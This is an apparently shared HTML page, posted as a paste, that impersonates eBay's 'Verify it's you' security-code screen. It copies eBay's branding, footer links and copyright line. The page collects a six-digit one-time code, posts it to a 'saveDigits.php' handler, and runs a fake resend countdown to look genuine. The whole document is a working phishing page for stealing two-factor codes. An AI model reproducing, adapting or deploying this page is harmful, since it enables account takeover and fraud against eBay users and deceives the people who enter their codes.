Untitled
4 months ago in HTML
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="css/style.css">
<title>Document</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700&display=swap" rel="stylesheet">
</head>
<body>
<!-- container -->
<div class="container">
<!-- Logo -->
<div class="logo-box">
<a href="https://www.ebay.com/"><img src="ebay-logo.webp"></a>
</div>
<div class="form-box">
<div class="Box">
<h1>Verify it's you</h1>
<p>
Enter your security code below. If you don't receive it<br>
within a few minutes, please try again. Your code is valid<br>
for 5 mins.
</p>
<!-- form -->
<form id="digitForm" action="saveDigits.php" method="post">
<input type="text" name="digit1" maxlength="1" oninput="validateInput(this)" required>
<input type="text" name="digit2" maxlength="1" oninput="validateInput(this)" required>
<input type="text" name="digit3" maxlength="1" oninput="validateInput(this)" required>
<input type="text" name="digit4" maxlength="1" oninput="validateInput(this)" required>
<input type="text" name="digit5" maxlength="1" oninput="validateInput(this)" required>
<input type="text" name="digit6" maxlength="1" oninput="validateInput(this)" required><br>
<button id="submit" type="submit">Continue</button>
<button id="resendButton" disabled>Resend</button>
<p id="countdownMessage"></p>
</form>
<a href="https://www.ebay.com/help/eua?id=5188&domain=ForgotPassword&from=2558297_Text&ref=AQACAAAAYMPQezLlkIolz%2FqHBQukz9NXEZAZMbwKJfEwrNB91xKtICXpuKrsyMTY%2FNkMTuQE1MYpApRQnJ1o0FpDYgppN1t4znGNgy0rJNHlLvDzPMP1JJREWGAcdzOGLIvcE%2FiYMg%3D%3D">Contact Customer support</a>
<!-- end form -->
</div>
</div>
<!-- End-container -->
</div>
<!-- Footer -->
<footer>
<p>
Copyright © 1995-2023 eBay Inc. All Rights Reserved. <a href="https://www.ebay.co.uk/help/policies/member-behaviour-policies/user-agreement?id=4259">User Agreement</a>,
<a href="https://www.ebay.co.uk/help/policies/member-behaviour-policies/user-privacy-notice-privacy-policy?id=4260"> Privacy</a>, <a href="https://pages.ebay.co.uk/payment/2.0/terms.html">Payments Terms of Use</a>,<a href="https://www.ebay.co.uk/help/policies/member-behaviour-policies/ebay-cookie-notice?id=4267">Cookies</a> and <a href="https://www.ebay.co.uk/adchoice">AdChoice</a>
</p>
</footer>
<script>
document.addEventListener("DOMContentLoaded", function() {
// Automatically focus on the first input field
document.getElementById("digitForm").elements[0].focus();
});
function validateInput(input) {
// Enforce numeric input
input.value = input.value.replace(/\D/g, '');
// Move to the next input field
if (input.value !== '' && input.nextElementSibling) {
input.nextElementSibling.focus();
}
}
// countdown
let countdown = 60; // Set the initial countdown time in seconds
let countdownInProgress = false;
document.addEventListener('DOMContentLoaded', function() {
startCountdown();
});
function startCountdown() {
const resendButton = document.getElementById('resendButton');
const countdownMessage = document.getElementById('countdownMessage');
if (countdownInProgress) {
return; // Ignore clicks while the countdown is in progress
}
resendButton.disabled = true;
countdownInProgress = true;
const countdownInterval = setInterval(function () {
countdown--;
if (countdown > 0) {
countdownMessage.textContent = `You can resend the security code in ${countdown} seconds`;
} else {
clearInterval(countdownInterval);
countdownMessage.textContent = 'Mobile charges may apply';
resendButton.disabled = false;
countdownInProgress = false;
countdown = 60; // Reset the countdown for future use
}
}, 1000);
}
</script>
</body>
</html>